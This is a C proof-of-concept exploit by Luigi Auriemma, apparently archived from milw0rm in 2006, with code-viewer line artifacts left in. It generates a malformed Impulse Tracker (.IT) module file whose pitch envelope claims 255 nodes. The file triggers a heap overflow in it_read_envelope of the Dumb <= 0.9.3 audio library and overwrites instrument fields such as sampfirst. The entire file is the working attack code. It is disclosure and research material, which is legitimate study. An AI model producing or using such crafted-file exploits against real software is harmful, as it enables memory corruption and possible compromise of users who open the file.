323 lines
No EOL
7.3 KiB
C
323 lines
No EOL
7.3 KiB
C
/*
|
|
|
|
by Luigi Auriemma
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdint.h>
|
|
|
|
|
|
|
|
#define VER "0.1"
|
|
#define BOF 255 // 25 < BOF < 256
|
|
#define INSTRSZ 371
|
|
#define POCNAME "proof-of-concept"
|
|
|
|
|
|
|
|
void fwi08(FILE *fd, int num);
|
|
void fwi16(FILE *fd, int num);
|
|
void fwi32(FILE *fd, int num);
|
|
void fwb08(FILE *fd, int num);
|
|
void fwb16(FILE *fd, int num);
|
|
void fwb32(FILE *fd, int num);
|
|
void fwstr(FILE *fd, uint8_t *str);
|
|
void fwstx(FILE *fd, uint8_t *str, int size);
|
|
void fwmem(FILE *fd, uint8_t *data, int size);
|
|
int bits2num(uint8_t *bits);
|
|
void std_err(void);
|
|
|
|
|
|
|
|
#pragma pack(1)
|
|
typedef struct {
|
|
uint8_t sign[4]; // IMPM
|
|
uint8_t name[26];
|
|
uint16_t PHiligt;
|
|
uint16_t OrdNum;
|
|
uint16_t InsNum;
|
|
uint16_t SmpNum;
|
|
uint16_t PatNum;
|
|
uint16_t Cwtv;
|
|
uint16_t Cmwt;
|
|
uint16_t Flags;
|
|
uint16_t Special;
|
|
uint8_t GV;
|
|
uint8_t MV;
|
|
uint8_t IS;
|
|
uint8_t IT;
|
|
uint8_t Sep;
|
|
uint8_t PWD;
|
|
uint16_t MsgLgth;
|
|
uint32_t MsgOff;
|
|
uint32_t Reserved;
|
|
} it_t;
|
|
|
|
typedef struct {
|
|
uint8_t Flg;
|
|
uint8_t Num;
|
|
uint8_t LpB;
|
|
uint8_t LpE;
|
|
uint8_t SLB;
|
|
uint8_t SLE;
|
|
// int8_t node_y[25];
|
|
// uint16_t node_t[25];
|
|
} it_env_t;
|
|
|
|
typedef struct {
|
|
uint8_t sign[4]; // IMPI
|
|
uint8_t filename[13];
|
|
uint8_t NNA;
|
|
uint8_t DCT;
|
|
uint8_t DCA;
|
|
uint16_t FadeOut;
|
|
uint8_t PPS;
|
|
uint8_t PPC;
|
|
uint8_t GbV;
|
|
uint8_t DfP;
|
|
uint8_t RV;
|
|
uint8_t RP;
|
|
uint16_t TrkVers;
|
|
uint16_t NoS;
|
|
uint8_t insname[26];
|
|
uint8_t IFC;
|
|
uint8_t IFR;
|
|
uint8_t MCh;
|
|
uint8_t MPr;
|
|
uint16_t MIDIBnk;
|
|
uint8_t nsample[120];
|
|
uint8_t ktable[120];
|
|
} it_ins_t;
|
|
#pragma pack()
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
FILE *fd;
|
|
it_t it;
|
|
it_ins_t it_ins;
|
|
it_env_t it_env;
|
|
int i,
|
|
off;
|
|
char *fname;
|
|
|
|
setbuf(stdout, NULL);
|
|
|
|
fputs("\n"
|
|
"Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"\n"
|
|
"by Luigi Auriemma\n"
|
|
"e-mail: aluigi@autistici.org\n"
|
|
"web: aluigi.org\n"
|
|
"\n", stdout);
|
|
|
|
if(argc < 2) {
|
|
printf("\n"
|
|
"Usage: %s <output_file.IT>\n"
|
|
"\n"
|
|
"Note: this proof-of-concept is not optimized, it gives only an idea of the bug\n"
|
|
"\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
fname = argv[1];
|
|
|
|
printf("- create file %s\n", fname);
|
|
fd = fopen(fname, "wb");
|
|
if(!fd) std_err();
|
|
|
|
memset(&it, 0, sizeof(it));
|
|
memcpy(it.sign, "IMPM", 4);
|
|
strncpy(it.name, POCNAME, sizeof(it.name));
|
|
it.Cmwt = 0x200;
|
|
it.OrdNum = 1; // required
|
|
it.InsNum = 1; // envelope is read here
|
|
|
|
off =
|
|
sizeof(it) +
|
|
64 +
|
|
64 +
|
|
(it.OrdNum * 1) +
|
|
(it.InsNum * 4) +
|
|
(it.SmpNum * 4) +
|
|
(it.PatNum * 4);
|
|
|
|
for(i = 0; i < off; i++) fputc(0, fd); // create needed space
|
|
|
|
/* it_read_instrument */
|
|
|
|
memset(&it_ins, 0, sizeof(it_ins));
|
|
memcpy(it_ins.sign, "IMPI", 4);
|
|
strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename));
|
|
strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname));
|
|
|
|
fwrite(&it_ins, sizeof(it_ins), 1, fd);
|
|
|
|
/* it_read_envelope */
|
|
|
|
memset(&it_env, 0, sizeof(it_env));
|
|
|
|
/* instrument->volume_envelope */
|
|
|
|
it_env.Num = 25;
|
|
fwrite(&it_env, sizeof(it_env), 1, fd);
|
|
for(i = 0; i < it_env.Num; i++) {
|
|
fwi08(fd, 0x61); // envelope->node_y[i]
|
|
fwi16(fd, 0x6161); // envelope->node_t[i]
|
|
}
|
|
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
|
|
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
|
|
}
|
|
|
|
/* instrument->pan_envelope */
|
|
|
|
it_env.Num = 25;
|
|
fwrite(&it_env, sizeof(it_env), 1, fd);
|
|
for(i = 0; i < it_env.Num; i++) {
|
|
fwi08(fd, 0x62); // envelope->node_y[i]
|
|
fwi16(fd, 0x6262); // envelope->node_t[i]
|
|
}
|
|
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
|
|
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
|
|
}
|
|
|
|
/* instrument->pitch_envelope */
|
|
|
|
it_env.Num = BOF;
|
|
fwrite(&it_env, sizeof(it_env), 1, fd);
|
|
for(i = 0; i < it_env.Num; i++) {
|
|
fwi08(fd, 0xff); // envelope->node_y[i]
|
|
fwi16(fd, 0xffff); // envelope->node_t[i]
|
|
}
|
|
/* 0xff is used for overwriting sampfirst with a negative value! */
|
|
/* m = component[n].sampfirst; */
|
|
/* Note: this PoC is not optimized */
|
|
|
|
printf(
|
|
"- the IT_INSTRUMENT structure will be overflowed:\n"
|
|
" there are %d bytes from the end of pitch_envelope to the end of map_sample\n"
|
|
" while %d bytes will be written by this proof-of-concept\n",
|
|
INSTRSZ,
|
|
((BOF - 25) * sizeof(unsigned short)) + INSTRSZ);
|
|
|
|
/* it_load_sigdata */
|
|
|
|
fseek(fd, 0, SEEK_SET);
|
|
|
|
fwrite(&it, sizeof(it), 1, fd);
|
|
|
|
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan
|
|
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume
|
|
|
|
for(i = 0; i < it.OrdNum; i++) {
|
|
fwi08(fd, 255); // sigdata->order
|
|
} // 255 for found_some = 0 or will SIGFPE
|
|
for(i = 0; i < it.InsNum; i++) {
|
|
fwi32(fd, off); // component[n_components].offset
|
|
}
|
|
// for(i = 0; i < it.SmpNum; i++) fwi32(fd, off);
|
|
// for(i = 0; i < it.PatNum; i++) fwi32(fd, off);
|
|
// for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a');
|
|
|
|
fclose(fd);
|
|
printf("- finished\n");
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
void fwi08(FILE *fd, int num) {
|
|
fputc((num ) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwi16(FILE *fd, int num) {
|
|
fputc((num ) & 0xff, fd);
|
|
fputc((num >> 8) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwi32(FILE *fd, int num) {
|
|
fputc((num ) & 0xff, fd);
|
|
fputc((num >> 8) & 0xff, fd);
|
|
fputc((num >> 16) & 0xff, fd);
|
|
fputc((num >> 24) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwb08(FILE *fd, int num) {
|
|
fputc((num ) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwb16(FILE *fd, int num) {
|
|
fputc((num >> 8) & 0xff, fd);
|
|
fputc((num ) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwb32(FILE *fd, int num) {
|
|
fputc((num >> 24) & 0xff, fd);
|
|
fputc((num >> 16) & 0xff, fd);
|
|
fputc((num >> 8) & 0xff, fd);
|
|
fputc((num ) & 0xff, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwstr(FILE *fd, uint8_t *str) {
|
|
fputs(str, fd);
|
|
}
|
|
|
|
|
|
|
|
void fwstx(FILE *fd, uint8_t *str, int size) {
|
|
int i;
|
|
|
|
for(i = 0; str[i] && (i < size); i++) {
|
|
fputc(str[i], fd);
|
|
}
|
|
for(; i < size; i++) {
|
|
fputc(0, fd);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
void fwmem(FILE *fd, uint8_t *data, int size) {
|
|
fwrite(data, size, 1, fd);
|
|
}
|
|
|
|
|
|
|
|
int bits2num(uint8_t *bits) {
|
|
int i,
|
|
out = 0;
|
|
|
|
for(i = 0; i < 32; i++) {
|
|
if(bits[i] == '1') {
|
|
out = (out << 1) | 1;
|
|
} else if(bits[i] == '0') {
|
|
out <<= 1;
|
|
} else {
|
|
break;
|
|
}
|
|
}
|
|
return(out);
|
|
}
|
|
|
|
|
|
|
|
void std_err(void) {
|
|
perror("\nError");
|
|
exit(1);
|
|
}
|
|
|
|
// milw0rm.com [2006-07-19]
|